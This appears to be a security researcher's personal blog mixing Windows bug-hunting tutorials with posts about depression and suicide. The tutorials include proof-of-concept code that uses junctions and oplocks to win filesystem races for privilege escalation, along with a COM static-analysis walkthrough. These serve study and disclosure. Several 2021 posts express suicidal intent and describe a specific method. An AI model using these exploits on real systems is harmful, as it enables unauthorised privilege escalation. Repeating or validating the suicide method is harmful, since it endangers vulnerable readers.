Tuesday, March 2, 2021

Friday, February 26, 2021

This summary is not available. Please click here to view the post.

 I remember when I was 10 years old, standing infront of the mirror, driving a knife into my cheek. Trying to give myself courage so next time I was surrounded by a group of bullies and used as a punching bag, I wouldn't be paralyzed by fear anymore. Cutting myself with that fucking knife so I would have the courage to punch back next time. Nothing has changed now that I'm older. People are still the same. Im just not afraid anymore. This world has always been one big nightmare. I fucking welcome the day I die.

 I quit therapy. I quit my meds. I hate people. I never had real friends in this world. I hate the corporate world, it's like being in school again with teachers and people in power that go out of their way to make your life miserable. Thats how people are. I'm different from everyone else, and people dont like me and I dont like people. Most of all, I hate being transgender. I hate having to live a life trapped in a body I despise. I am not a coward, I am really not afraid anymore, not afraid of the darkness when i close my eyes for the final time.

 New twitter acc: @SandboxEssbee.

But im not talking to anyone. Im in a really bad mood and I just want to find more bugs because bugs speak for themself. Also im a bear and i dont talk to humans anyway.

Thursday, February 25, 2021

 I guess I am not getting fired, although in retrospect it definitely seems like people tried their best to get me fired.

I give up on the filesystem abuse stuff, other researchers have outpaced me at that game and are more talented at it then I ever was. I think they are doing amazing work. I also love seeing them drop bugs on twitter. I think people take security way to serious and I will never sell my soul to the corporate world and their costumers. Maybe that makes me personally flawed and morally deficient, I don't care. Bug hunting is an art and it's up to the artist to do with it whatever they want. 

I'm going to continue trying to find bugs, I don't care if I'm some loser sitting alone in an apartment. I just want lots of CVEs, not for fame or any of that bullshit, just for people to know I did exist after I'm gone. Make this fucking nightmare somehow worth it.

I don't want to do social media anymore or really just talk to anyone. I hope everyone drops more bugs. Bye. 

Wednesday, February 24, 2021

 I'm fucking drunk. Lol. There's going to be so much blood tonight. I'm just a crazy person on a blog now.

 I really don't care if I get fired. I really don't. I accepted this job because I had hoped I would have had a better social life. I'm still just sitting alone in an apartment every day. I've been a loner all my life. All the times I felt like I had friends in life, I was proven wrong. I really don't care anymore. You know the fucking irony? Probably most people at Microsoft want to see me fired. I failed interviews with a bunch of different teams. The only reason this manager hired me was because I made a lot of drama. Other people at Microsoft atleasts know the truth. I'm just some fucking skid that made a lot of noise on twitter. Just trying to bug hunt alone in an apartment all day because I'm not good enough to actually write code. Those whiteboard interviews they do, once you know what to expect from them after failing a bunch of interviews, it's easy to prepare for.. but that doesn't translate to actual coding skills. I have never written a program in my life except shitty copy-paste pocs. I wish I was atleast able to find bugs, so I could prove everyone wrong.. but I can't. I was succesful with the filesystem stuff only because barely anyone else was doing it.. even at that I've been outpaced by others. When I tried to go for other bug classes, 99% of my time is just spent reading coding and battling my own technical inexperience. I just wanted to be good at my work, because what else do I have? I'm just a loner sitting inside an apartment room all day. I really don't see a future that's worth living. I just hate this world so fucking much. Just fucking fire me, I really don't care and I really have nothing to lose. Do you really fucking think I care about continuing sitting alone in an apartment all day? What kind of fucking life is this anyway. Maybe I am just a dramaqueen, but go fuck yourselves, I really don't care about anything anymore and I have absolutely nothing to lose.

Monday, February 22, 2021

 Please credit my 3 upcoming bugs, the logic bug, the infoleak and the UAF to polar bear. My last bug, that lame remote dos probably won't get a patch and I can't be bothered anymore finishing the investigation on it while waiting to get fired and all my work in that area has just been a reflection of my lack in technical knowledge lol. Some days I wished I had never gotten into this field. Had dome something with nature or animals instead. But those CVEs were the only thing that ever made me feel like I did something worthwhile in my life. The only thing in my life that ever made it all worth it. Goodbye. I'm going to be a bear.

Im not afraid to die. Im not afraid to wake up from this nightmare. 


Sunday, February 21, 2021

I look forward to the end. Im really not afraid anymore. Im afraid of being alive.

 Ive been perma banned from twitter for "promoting self harm", so if new accs pop up its not me. I cant be bothered be anymore. Im going where the bears are. I hate this world. Bye.

Wednesday, February 17, 2021

 Im gonna go into the mountains, thats where the bears are

Tuesday, February 16, 2021

 Apparently I'm under investigation by Microsoft for disclosing vulnerability details. I guess things are coming to an end.


 For the last few years, I figured, if I can be good at my work, then maybe this is a life worth living.

You know, I was a complete failure in school. And in the years after. When I got that first CVE, that was probably the first time in my life I didnt feel like a failure. But in retrospect, looking at procmon all day and finding stupid bugs, anyone can do that. 

When it comes to finding real bugs, reading code.. its just like in school again, im just that failure again. My manager suggested going back to writing bug fixes, but I cant code. Just this failure sitting alone in an apartment all day.

I cant connect with people. Everytime I try, it's just awkward and forced. I may have a lot of followers on twitter, because I dropped some dumb bugs, but in real life, im a complete loner. Im that person everyone avoids. And to be honest, I just really dont want to wake anymore tomorrow. I just cant stand being alive anymore. I hate it so much.

Monday, February 15, 2021

I've lived a long time. The few scattered happy memories are those of being in nature. People think something is wrong with me, but maybe something is wrong with this world. Human society is ugly and vicious. I feel like a stranger in this world. The pain and loneliness of merely existing in this world will always be there. Why would anyone willingly want to live a lifetime of pain? I've seen enough of this world.

Thursday, February 11, 2021

 I feel like I won the lottery in being different.

In nature those who are different are often shunned. Its the same with humans.

Life has always been a nightmare, the few times in life I did end up feeling surrounded by 'real' friends I just ended up feeling betrayed by them, realizing I was never their friend in the first place and they just 'tolerated' me for a little while. 

Im going to stop therapy. Can't fix the reality of this world and there really is only one solution to it.

Wednesday, February 10, 2021

 I spent a lot of nights working out how I would end it. My favorite is heading into the mountains, taking sleeping meds and alcohol and waiting for hypothermia to finish it. It will just look like an accident. I guess that would make it easier for family.

The harder I work, the more I feel like a failure. Weeks pass by without results. There's nothing else in life for me, I dont like people. I dont want to wake up anymore. The thought of another day makes me feel sick in my stomach.

Friday, January 8, 2021

Putting selfies on my blog so I can look back at them one day.


Tuesday, December 22, 2020

Static Analysis 101

(Click on images to enlarge) 

Github link to trigger code shown in write-up: 


Disclaimer: This blog-post has nothing to do with my employer. And to the more technically skilled reader this blogpost will be really lame. I'm new to this, and even at the company where I work, I don't know anyone who does security that I can ask for advice, I'm just trying to learn all this by myself from books and youtube videos.. just as I did before getting a real job.

Static code analysis 101

I wanted to write this blogpost after I had a bug patched that I found by static analysis, but this will take a long time and I was bored. As I can't copy paste source code into my blog without getting fired, it is hard to have a really indepth discussion. I would much prefer to share a bunch of source code snippets and show you how I would approach static analysis on them. Having the work with decompiler output sucks (still better then ASM!), and I gave up half-way writing this blogpost, so apologies if it seems kind of unstructured. 

Lets say we want to find bugs in windows (same would apply to other software).

We have to find an entrypoint. You can't just start reversing code ad random (you can, but don't).
For local privilege escalation, think of areas that cross privilege boundaries (user->kernel, rpc/com)
For remote bugs, think of areas that cross device boundaries (network protocols.. rdp, smb, etc)

For purpose of demonstration, lets pick COM. (I didn't just want to write about static analysis as there are books that have served this purpose way better, so I figured I might as well just show you how to get started reversing COM and applying static analysis on that. Apologies if this makes the write-up seem convoluted)

Using available tooling to enumerate the attack surface

(Scroll to the next chapter if already familiar with OleView)

With drivers, you would go hunting IOCTL codes and whatnot in a dissassembler. For RPC you would use tooling like RPCview or similar. For COM we have a great tool by James Forshaw:


After downloading make sure you set-up the path of dbghelp.dll (part of the windows sdk) in file->settings (make sure to run OleView as Admin btw):


Lets focus on system services, select 'Local Services' from the Registry drop-down menu:


 I'm just randomly going to pick a COM interface to reverse, scroll to the bottom and expand 'Xbox Live Game Save'.

 Right click  '(5B3E6773-3A99-4A3D-8096-7765DD11785C) ' and select 'Create Instance':


Select the 'IXblGameSaveProviderEnumerator' interface. Then at the bottom select operations->Marshal->View Properties

Press view:


Double click on any of the methods listed in the next tab.

Now we can see the interface methods (with symbolic names):


At this point you would decide if this interface is worth investigating or not.

There's no complex parameters being used in any of the methods. If I was bug hunting I would skip this one because I know Microsoft does a lot of fuzz testing and would prefer to prioritize other functions first. Especially now that race conditions are out of scope for COM, which would be the only bug class fuzz testing might not catch (I think).

Going back we can see where this server is implemented (hover over 'Xbox Live Game Save'):


Static code analysis

I will use Ghidra for this write-up, normally I would use IDA pro, which supports source code and windbg, but if you don't have source code, the decompiler in Ghidra is pretty nice. Load up XblGameSave.dll.

I would not recommend trying to make sense of a function by looking at raw asm. Nearly all the researchers finding complex bugs are using decompilers. 

If decompiler output is still too difficult, I would recommend starting with an open source project. If open source is still too difficult I would recommend spending some time learning coding so you can be better at reading it.

Search for the name of our first method 'GetItems' (which we found earlier in OleView), it's pretty easy to find this one with symbols.


At this point you could go ahead and write a PoC to trigger this code, then trace input in a debugger. But it's better to first read the code 'statically' (hence static code analysis) and see if there could be any potential bugs.

The GetItems function as seen in OleView:

 HRESULT GetItems(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] /* range: 0,50 */ int p1, /* Stack Offset: 24 */ [Out] /* C:(FC_TOP_LEVEL_CONFORMANCE)(16)(FC_ZERO)(FC_ULONG)(Early, Range) */ struct Struct_0[] p2, /* Stack Offset: 32 */ [Out] int* p3);


We see that the first two parameters have [In] infront of them and the last two [Out]. This means the first two parameters provide a value and the last two return a value. You want to focus on the [In] parameters first, and trace them.

We see both param_1 and param_2 being used in the following snippet. This is basically a for loop. It does a check against param_1 and param_2, if it matches it returns otherwise it continues the loop.

  while( true ) {

    if (((uint)((lVar1 - lVar2) / 0x38) <= param_1) || (param_2 <= uVar7)) {

      *param_4 = uVar7;

      __security_check_cookie(local_48 ^ (ulonglong)auStack296);

      return extraout_EAX;


Then inside the loop we see:

    lVar6 = (ulonglong)param_1 * 0x38;

    pXVar8 = param_3 + uVar7;

    iVar4 = WindowsDuplicateString(*(undefined8 *)(lVar6 + *(longlong *)&this->_results),pXVar8);

    if (iVar4 < 0) break;

_results is an array. The size of each element is 0x38: 

lVar6 = (ulonglong)param_1 * 0x38.

So it's going to multiple the size of an element with param_1.

Meaning it's doing array indexing using the first parameter. As you can see here:

lVar6 + *(longlong *)&this->_results

It's just moving a pointer to match the index of the array. This is the funny thing about decompiler output, in a way it does make sense, but you need some experience recognizing what this translates to in code written by hoomans.

When dealing with user controlled indexing, it's good to make sure the bound checks are done well (which is done in the if-statement mentioned earlier).

Also the data type being used is important. If they didn't use UINT but regular int, you could bypass checks overflowing into a negative number and even cause negative array indexing. You don't want this to happen. Microsoft has good coding practices though, but a lot of novices just use signed datatypes everywhere. 

Not having source code and proper symbolic names everywhere can be a pain, but when in doubt or unable to make sense of something, just run it through a debugger. Switch from static analysis to dynamic analysis. I would use static analysis to find code that looks suspicious and requires further investigation.

Once we ruled out integer related bugs, we can focus on the [Out] parameters.

This function will basically return an array containing elements copied from the _result array. 

At this point we need to figure out other functions that could manipulate this array.

Perhaps we can do something with this other interface? 
I will leave this up to the reader to investigate.

You will need to see if adding and deleting from the array we just accessed is done safely. Make sure the element is fully initialized before added to the array, otherwise you got a timing to read uninitialized memory when there is no proper locking.
Race conditions are pretty straight forward, there are a lot of com race conditions where you can force an object to be freed and then access it in another thread, these are common because they are extremely hard to find by fuzzing.

But since Microsoft is mitigating Rpc\COM race conditions, I completely ignore any bug that would require two threads or more. And I frigging wish someone at Microsoft could tell me what these mitigations look like, because I want to hunt for race conditions as they are one of the most interesting bug classes, but I don't want to do pointless work either.

This should be enough practical information to get started.


-Find an entrypoint. Such as COM methods as described above. 

-Load your targeted code in a disassembler. And start tracing input you can control.

Based on the type of input there are different things you need to look out for.

Here is a really short summary:

1. Buffers 

Are buffer being copied into a static array? This can be a problem if you can supply a larger buffer then the size of the array. 

Is there any length calculating being done on the buffer? Make sure the buffer size will not overflow the return value of this length calculation. With modern day computers you can easily construct buffers that take up a couple of gigs.

There are many issue that can arise with buffers, but in general COM marshalling/unmarshalling will prevent a lot of them by design.

2. Integers

Are signed datatypes being used when they should be unsigned? As mentioned earlier, you don't want negative values bypassing checks or resulting in negative array indexing. Also if user supplied integers, in anyway can affect array indexing, this can potentially result in out of bound bugs if proper bound checking is not done.

Again, I recommend reading up on integer bugs, as there is a lot of subtle things that can happen with them, not just integer overflowing.

3. Objects

Some COM interfaces will have methods that take com interfaces as parameter. This means you can make your own implementation of a com interface and a remote server will call into them. You can also have methods that return interface pointers, turning that interface's methods into another part of your attack surface. Objects in general add so much more complexity, but you need to know what you're doing and it may require a lot of reversing.

4. Complex datatypes

COM marshalling works well on simple datatypes, but less so on complex ones. There is less validation on what the user supplies and it will assume the COM server does all the validating. This can lead to a lot of bug types, including type confusion.

5. Race conditions

One of the more difficult bugs to find, even if they are really common. This one does not rely on the type of user input as much. But you will need to look at internal objects and data that gets accessed and see if you can mess with them in another thread, i.e forcing a free on the object.

Either way, on the note of object life time bugs, they don't always come in the shape of race conditions. If you have a bunch of methods that do things with internal objects inside the server process, it's worth investigating.

6. Info leaks

Without doubt the most common bug, but not all info leaks are created equal and you may not get a CVE for them (if you care about that). Info leaks can happen by out of bound reads, but these are less common as they can be found by fuzzing, more common is returning uninitialized memory, as these will not trigger an access violation and make them near impossible to find by anything but static analysis.

7. Logic bugs

See previous write-ups for this. But be aware that logic bugs can come in many forms, not just filesystem related. You need to force yourself to think out of the box to abuse program logic.

-Static analysis is very time intensive. I really recommend when going after windows code to assume it has been heavily fuzzed. So search for complexity and those cases that can't be found by fuzzing.

Monday, December 21, 2020

Monday, May 4, 2020

One day ill look back at these, when im in a better place and laugh.

Monday, April 6, 2020

Saturday, March 28, 2020

From now on, this blog is just selfies. Because I dont want to be embarrased about who I am anymore.

Wednesday, March 25, 2020

Real friends arn't just friends during the good times. 3 years ago I lost many friends. I started my transition, had lost my job, was spiraling into severe depression. When I needed friends and support the most, they were gone. I spent years without being around friends, unemployed, alone. My current friends never blame me for my emotional breakdowns, they don't block and ignore me. Those are real friends. I don't care about my former friends anymore. They never were friends to begin with. They never respected me for who I am, what I was dealing with.. instead made me feel guilty about my struggles, the breakdowns, without ever showing any understanding or empathy. They turned me into a stereotype, a clingy stalker, simply because I had nobody else to turn to at my darkest moments. They blocked and ignored me when all I wanted was someone to talk to when I was falling apart. When I needed friends. It says more about them then me, they were never real friends, just a bunch of assholes that are nothing more but a footnote in my life. Funny thing is that if it hadnt been for the social isolation, I wouldnt be working at Microsoft now, so despite the pain it all caused me, it just made my life better, thanks you bunch of assholes.

Wednesday, March 4, 2020

In a few days, I will be starting my new life.
A different country, far away from this one.
I regret not having been able to mend broken friendships, tell them goodbye.
It is hard letting go of friendships that once meant so much to me.
Even a polar bear needs friends.
A life alone is a life without joy.
Even the arctic couldnt fix that, as awesome as it was.
I have seen so much of the world, hiked incredible landscapes, but in the end it was just an attempt to run away from the social isolation I experienced.

My new life will be better.
Maybe this time around, I will even be able to be myself. I will be Essbee the polar bear.

I'm not looking back anymore.

A life lived in the past is a life wasted.

Monday, February 24, 2020

I'm a polar bear!!!!

Humans are scared of bears.
That's why I don't have many friends.
My current friends are also bears, some pretending to be human.
We bears sometimes live amongst humans, to remind ourselves that we are bears.
I would rather be a bear.
Bears are scared of humans.

Friday, January 31, 2020

Chasing polar bears: part two

Unlike that task scheduler exploit, which I had written with the purpose of selling (I was desperate), all my other PoCs are pretty shitty, they are not optimal and are purely written to demonstrate the vulnerability. The people at bug bounty programs don't need a full exploit.. they just need a PoC that allows them to understand the root-cause of a bug.

Writing a PoC and hitting timing windows

A. Opportunistic locks

Opportunistic locks, or simply, Oplocks, are a way to lock a file when a certain type of operation is performed on it.
For example, you can lock a file when a write operation occurs, this will delay the write operation for as long as you want and you can do stuff in a callback function, the write operation will only happen after returning from the callback function, a.k.a releasing the lock.

Let's say we have the following set-up:

1. c:\a is a junction pointing to c:\c
3. We place an Oplock on c:\c\notepad.exe that triggers on write.
2. A program tries to write to c:\a\notepad.exe (resolves to c:\c\notepad.exe)
4. The lock triggers, delaying the write operation. We can now modify the junction c:\a to point to c:\windows\system32.
5. Our program tries to write to c:\windows\system32\notepad.exe once the lock is released.

Oplocks buy you time to exploit a timing window, because it freezes the file operation right before it happens.
What you can't do is modify the file that has the Oplock, this is why a lot of cases are a lot more complicated and require other mechanisms to hit your timing window.

If you can use a simple "bait and switch" (as the above is called), you should. It's by far the most reliable, if that is not an option.. continue reading.

B. Thread Priority, loops and Oplocks

This is a bug that I found all the way in September (patched a while ago).

LINK: https://github.com/SandboxEscaper/Bug (has video demo too of the bug and a readme.. I suggest using these materials to better understand this write-up)

The way this bug worked:

If we install a store app it will write the logo image files to c:\users\%username%\appdata\local\temp  first in .tmp format.
Once written to the temp folder, it copies the contents and creates the final .png files in c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder\%random string%.

The bug here is that we can overwrite the temporary .tmp files with our own contents. Then those "tampered" contents are copied and written to a user-writable folder that we can turn into a junction, but without impersonation as SYSTEM.

Since we can't manipulate the length of the timing window in this case (i.e as in a bait and switch scenario), we have to increase execution speed to make thing more reliable, you do this with:

HANDLE bear = GetCurrentThread();

This will give the executing thread the highest priority. Just make sure you have multiple CPU cores.

1. First problem: Getting the name of the random folder

To solve this we turn c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder into a junction to c:\bear. Now we can "poll" c:\bear for the creation of the random folder.

while (continue1 == false) {
hFind1 = FindFirstFileA("C:\\bear\\*", &FindFileData1);

while (FindNextFileA(hFind1, &FindFileData1) != 0)
if (strcmp(FindFileData1.cFileName, ".") == 0 || strcmp(FindFileData1.cFileName, "..") == 0)
continue1 = true;

The random folder that gets created won't be write-able by a user. So we simply change the junction on c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder to c:\bear1 (instead of c:\bear), then create the folder with the random name we just found and turn that into a junction pointing to c:\windows\installer (or wherever you want your files planted). The appx service, where the vulnerability lies, is entirely blind to all this junction stuff.

ReparsePoint::CreateMountPoint(ws, L"\\??\\c:\\bear1", L"Polar bears are really cool");
sprintf_s(filepath1, "%s\\%s", path1, FindFileData1.cFileName);
CreateDirectoryA(filepath1, NULL);

wstring blah1;
string bla1(filepath1);
StringToWString(blah1, bla1);
ReparsePoint::CreateMountPoint(blah1, L"\\??\\c:\\windows\\installer", L"Bears are smart then the person reading                  this");

After it creates the files in the temp folder and then copies the contents and tries to write the final image files to the PlaceHolderTileLogoFolder\%random string% folder, it will now create them in c:\windows\installer because of the structure we've just set up. Next step is taking control of the contents. Arbitrary file creation alone is not useful.

2. Second problem: Overwriting the .tmp file in  c:\users\%username%\appdata\local\temp

What we do here is, we first call FindFirstFile on  c:\users\%username%\appdata\local\temp\wsu*.tmp.
We keep repeating this until one of these files is found.

 string bl(GetAppDataDirectory());
string bl2 = "\\Temp\\wsu*.tmp";

char filepath[512];

std::string bl3(GetAppDataDirectory());
std::string bl4 = "\\Temp";

wstring blahz;
hFind = FindFirstFileA(bl.c_str(), &FindFileData);
} while (hFind == INVALID_HANDLE_VALUE);

After that we create a lock on it, because we need to overwrite this file AFTER the appx service has written to it. Otherwise our contents will just get overwritten. This means we create a lock, we don't keep it locked but release it as soon as it happens. Using Oplocks like this is different, we don't use the callback function, but just an Oplock to instrument when a write to a file happens, as our race condition is only valid after the write has occured. It's a way to get a specific timing, right BEFORE the vulnerability happens. This is what you always do, you find a way to instrument something that happens right before your timing window, and then use that to actually hit your timing window.

FileOpLock::CreateLock(blahz, test);

The oplock callback function is going to set triggered to true as soon as the lock is activated. But we should only continue code execution AFTER the lock has triggered, this is why we loop QueryPerformanceCounter(&li);. Just do whatever in the loop, doens't matter really. Just dont use sleep(1).. that will add too much delay and might mess up timings.

while (triggered == false)

Once the lock is triggered we have our timing window. Now is the time to write to our .tmp file!
Spam createfile a 1000 times! If we still don't succeed after a 1000 times we have most definitely missed the timing window lol.

int count = 0;
do {
hFile = CreateFileA(filepath,                // name of the write
GENERIC_WRITE,          // open for writing
FILE_SHARE_READ | FILE_SHARE_WRITE,                      // do not share
NULL,                   // default security
OPEN_EXISTING,             // create new file only
FILE_ATTRIBUTE_NORMAL,  // normal file
NULL);                  // no attr. template

test1 = WriteFile(
hFile,           // open file handle
DataBuffer,      // start of data to write
dwBytesToWrite,  // number of bytes to write
&dwBytesWritten, // number of bytes that were written
NULL);            // no overlapped structure
} while (count < 10000);

Now the appx service will copy the tampered contents and create a file with it into c:\windows\installer (because of the junctions we set up earlier)

3. After thoughts

Theoretically, even if you can write a .png with the contents of a valid .msi file into c:\windows\installer, this could be a problem, because the installer ignores file extensions (just cares about the contents) and files in c:\windows\installer get treated differently in some occasions if I remember correctly.

However, and I found out about this after submitting this bug.. you can totally create a junction structure using the object manager and control the filename of the file being created.

They explain how to do this.
With this, this bug will let you control the NAME and CONTENTS of the file you are writing. So definitely easily exploitable.
If this trick isn't patched yet, you can even use this to replace the now mitigated hardlinks and redirect ACL writes if junction checks are not present. Which is why I think this trick is kind of a big deal and should really be addressed.

Monday, December 16, 2019

Chasing polar bears: part one

Edit: sample bug now patched: https://www.vmware.com/security/advisories/VMSA-2020-0002.html

(note: click on images to view larger version)


I. Using Procmon
II. Writing a PoC
III. Directory junctions

I. Using Process Monitor

Disclaimer: I am currently, as of publishing this, not working for any company.

a. Introduction

Download: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

This will be your main tool for tracking down filesystem race conditions.
Process Monitor is a tool to record all file operations that occur in the filesystem, thus making it easy to find possible timing windows that can be exploited.

b. Finding a bug

Lets see how we find "timing windows" in Process Monitor.
A timing window is nothing more then a duration of time where-in a bug can be exploited.
A lot of filesystem bugs are based on exploiting timing windows.. a.k.a winning a race (condition).

A few years ago I saw the following folder:

c:\windows\installer (hidden by default)

For whatever reason, some of the .msi files in there will auto-elevate when you run them. They do not prompt, even on non-admin.
This means that we can run installer files, doing file operations at higher privileges, no prompts required.
The limitation being that this only applies to .msi files inside of c:\windows\installer (which are already installed programs and features).

To reproduce this bug, you will need a windows 10 vm with vmware tools installed.
You can find many other bugs in other third-party .msi files and perhaps even Microsoft ones (assuming they are already installed by an admin and are under c:\windows\installer)

Go to c:\windows\installer and if vmware tools is installed, locate the vmware tools .msi file (from an non-admin account), mine is about 44mb big, just sort by size, you can confirm you got the right one by right clicking, selecting "Properties" and going into the "Details" tab. The names of the .msi files are randomized, so it won't be the same on your system:

Launch process monitor and apply the following filters (press control + L):

-We only want to see installer related processes.

 -We do not want to see file operations in c:\windows, same for c:\program files.

 -We also only want the installer process running at system, discard any running at medium.

-We also only want CreateFile operations, otherwise there will be way to much clutter that doesn't really matter.
Once we find an interesting file handle being opened we can disable this filter again to see what happens with it.

There is one more thing we need to do, if you double click on a CreateFile operation in Process Monitor, sometimes you will see that it is "impersonating":

This means that it will impersonate someone else, in this case the local user, so this CreateFile call will only have the same access rights that the user has (because it pretends to be the user!).
This isn't useful for us, so we discard those too, but make sure to only discard when it impersonates the user, in a few cases it might actually impersonate itself (nt authority/system):

In my case the user is part of the DESKTOP-L7TMINM group (which is the computer name), hence the filter "contains Impersonating: DESKTOP", but it may be different for you.
Just type "whoami" in a command prompt to see your computer name and user.

Hotkeys for Process Monitor:

-Start/stop recording: control + E
-Clear the screen: control + X

Start recording and enter the following command (where 368c0.msi is the vmware tools .msi file, different name on your system):

This is telling the installer to "repair" the vmware tools installation.
Make sure to press "no" when it asks for a reboot at the end.
After it completes we will see that it does a lot of file operations in c:\ProgramData.
The ProgramData folder is interesting, because sometimes folders might be write-able by a user.

This one looks interesting for example:
C:\ProgramData\VMware\VMware CAF\pme\scripts\stop-listener.bat

If we go to this folder and check the permissions:

We see it being given write permissions to non-admin users.
We can confirm this by creating a file in the scripts folder:

It works!
However we cannot modify any of the existing files, which is what we are really after.
These can only be changed by an admin user.
So lets dig deeper.

Add a filter for C:\ProgramData\VMware\VMware CAF\pme\scripts\stop-listener.bat:

Resulting in:

Looking at this, at the bottom, we see "NAME NOT FOUND" twice, and right before that a handle being opened with delete permission.
If we remove the "Operation is CreateFile" filter we can see more details:

It is moving the file somewhere else (which is what SetRenameInformation does)!
So for a short time window we can actually drop a file there with the same name, but we have to do it before it gets created again.

 Lets write a PoC for this and see what happens!

II. Writing a PoC

We know that we have a timing window, right after the file stop-listener.bat gets deleted and before it gets created again.
That is why it is called a timing window, it is literally a window in time!

We could use oplocks to determine our timing window, but I think the much easier route would be spamming CreateFile until it succeeds and creates a file right after the original one is deleted.

We can also increase the thread priority to speed everything up and make sure we hit our timing window.
However, when increasing thread priority, make sure you are running more then one cpu.. as it might freeze your VM otherwise.

Lets try something like this:

HANDLE thisthread = GetCurrentThread();
SetThreadPriority(thisthread, THREAD_PRIORITY_TIME_CRITICAL);

HANDLE testhandle = NULL;
do {
testhandle = CreateFile(L"C:<\\ProgramData\\VMware\\VMware CAF\\pme\\scripts\\stop-listener.bat>", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);           
} while (testhandle == INVALID_HANDLE_VALUE);

Full poc code:
(also has headers for junctions and oplocks)

Run polarbear.exe (compile above git project to get the exe) and then run our .msi file again using the repair flag.

Note: You can also pass the /quiet and /norestart flag to hide any UI as shown in the video.
Video takes a while since to finish up.
In this particular case I couldn't get the /norestart flag working for whatever reason.. but maybe you can find a way around it.
Atleast the UI is gone!



Using this bug we have basically gained write access to a file we would otherwise not have write access to.
Ofcourse exploitability is another thing.
But just look at all the privileged file operations going on, I wouldn't be surprised if atleast one of those is exploitable. And some of the other files in c:\ProgramData\VMware suffer from the exact same bug.
I personally just care about bugs in Microsoft code, so I'm going to stop right here.
Also, I just wanted to demonstrate a filesystem bug that was unpatched, this bug is likely not exploitable, unless any of the files that you can take control over get executed by a higher privileged process, but I have not investigated this.
You can find tons of other third party installers that will start doing weird file operations when passing the repair flag to them (and I definitely recommend messing around with different flags too, you never know).
Also if it starts removing files without impersonation.. that's a good candidate for arbitrary deletes!

You could just find some bugs in third party .msi files and then build a tool that scans the c:\windows\installer directory for any vulnerable ones on the target where you want to achieve privilege escalation (the randomized names won't be a problem, since you can pull all the info you need from the file details programmatically).

I vaguely remember an .msi file belonging to an old Microsoft component creating files and folders directly in c:\ when running it with the repair flag, which really isn't good. (not c:\config.msi, that I will talk about in part two). So there is definitely more bugs out there.

This bug didn't use junctions, but with junctions it is the same routine, you identify a timing window and then figure out the tools you have to use.

III. Directory junctions

a. The code

The easiest way to exploit most filesystem race conditions are directory junctions.
In this chapter I will explain how they work.

Code to create directory junctions (credits go to @tiraniddo):

(you can just copy this project, also has the headers for oplocks in it)

ReparsePoint::CreateMountPoint(L"c:\\bear", L"\\??\\c:\\bear2", L"bear");

The first argument is the junction, the second one the target, the third one is the name but you can put there whatever you want, it doesn't matter at all.

In the second argument you may notice the file path starting with \\??\\, this is actually pointing to the global root.
It may be a good habit to precede your target file-path with this, as this could bypass some obscure checks. (found a bug where this was the case in the past)

b. What is a directory junction?

A directory junction is a special folder that points to another folder.

Bear is a junction, bear2 is not, you can see the icon is different.
It is basically like a shortcut, but unlike a shortcut, code trying to do file operations with  junctions won't notice that it isn't a regular folder. Which is why junctions are so powerful.

For example, you can turn folder "C:\bear" into a junction that points to "C:\bear2".
Now if a program tries to write to "C:\bear" it will follow the junction and actually write to "c:\bear2".

This is useful, because when a program tries to write to a folder, you can plant a junction there, and redirect the write to somewhere else.

Programs are not aware of junctions and will blindly follow them unless the "FILE_FLAG_OPEN_REPARSE_POINT" flag is passed. When this is the case it will not follow the junction.
However, this flag only applies to the folder being opened. So if "C:\thisisajunction\blah" is being opened, it will only check blah for a junction and is blind to the fact that "C:\thisisajunction" is actually a junction.
This is how you would bypass these types of checks.

You can see in Process Monitor when a junction is being followed:

When we run "mkdir c:\bear\blah", where c:\bear is a junction pointing to c:\bear2, you will see the folder being created in c:\bear2 instead in Process Monitor.
Notice the first one, where the result says "REPARSE", this means a redirection happened, because we wrote into a junction.

c. conclusion

What you need to take away from this is that you can create a folder, that points to another folder, which will redirect file operations.
See it like a wormhole!

This is nothing but a tool.

Know that you can create wormholes in the filesystem to redirect file/folder operations (creating files and folders, reading/writing files, and so on..).
Forget all the rest, forget the technical side of it, because that's how people get lost, especially when starting out, simplify things in your head... you have the power to create wormholes in the filesystem, that's all.

In part two I will show you how to use Junctions when you can't just win a race condition by spamming CreateFile!

Thursday, October 31, 2019

Hunting for filesystem bugs

Hunting for filesystem bugs

I. Introduction

Filesystem bugs have been fairly rare, until recently.
This is mainly because prior to James Forshaw's work we didn't have the tools to exploit these types of race conditions in the filesystem.

Forshaw has documented many ways to exploit filesystem bugs.
Well known examples are:

1. Directory junctions
2. Hardlinks
3. Object manager symlinks

There's a couple more, for a full overview I suggest reading all the blogposts by Forshaw and his published PoCs.

This video is particularly useful and I recommend watching it:


II. Finding filesystem bugs

This is just my way of finding bugs, and there is definitely better and more hardcore ways (i.e doing actual reverse engineering of attack surface where these bugs occur).

I mainly use one tool, process monitor:


Process monitor records all of the filesystem operations that occur in the filesystem (in usermode.. it doesn't work as well from kernel mode.. sometimes handles get opened through the system process.. but I think for tracking filesystem race conditions in the kernel it would be better to write your own hooks or something).

My two strategies:

1. Look at existing PoCs. If there is one bug in a piece of code, that is usually a good indicator that it's old code and that it's going to be prone to more bugs. Sometimes you can find new bugs or bypass a patch by just messing around with a PoC. One thing that I often do is to try and add more "complexity".
Examples of "adding more complexity" are deleting files and folder, because that might trigger a different code path when files and folders suddenly don't exist. Other things I do is modifying the ACL, such that the user doesn't have write access to it.. this could result in the higher privileged process to drop impersonation (I actually found bugs like this).

2. Apply a bunch of filters to process monitor and just go exploring. The trick here is to come up with ways to trigger code that people havn't looked at before... so you just start doing crazy stuff. Things I would try in the past is running all the tasks in the task scheduler, starting services, etc. Just do stuff! Try to think of obscure areas where people havn't looked before.. this can be hard, but just google things, look at msdn pages (i.e https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list).. there is a looooot of stuff people havn't looked at yet. Also, you can find a lot of code samples in the windows sdk, just start running them and messing around with it!

Filters that I commonly use in process monitor when "exploring":

-Integrity is "Medium" then exclude (unless looking for appcontainer escapes)
-Intergrity is "Low" then exclude
-Detail contains "Impersonating: DESKTOP-L7TMINM\test" then exclude (modify the user to match yours)
-Path contains "c:\windows" then exclude (but you might want to include c:\windows\temp as it's user-writeable)
-Path contains "c:\program files" then exclude

These you will want to discard most of the time because they won't result in a bug.
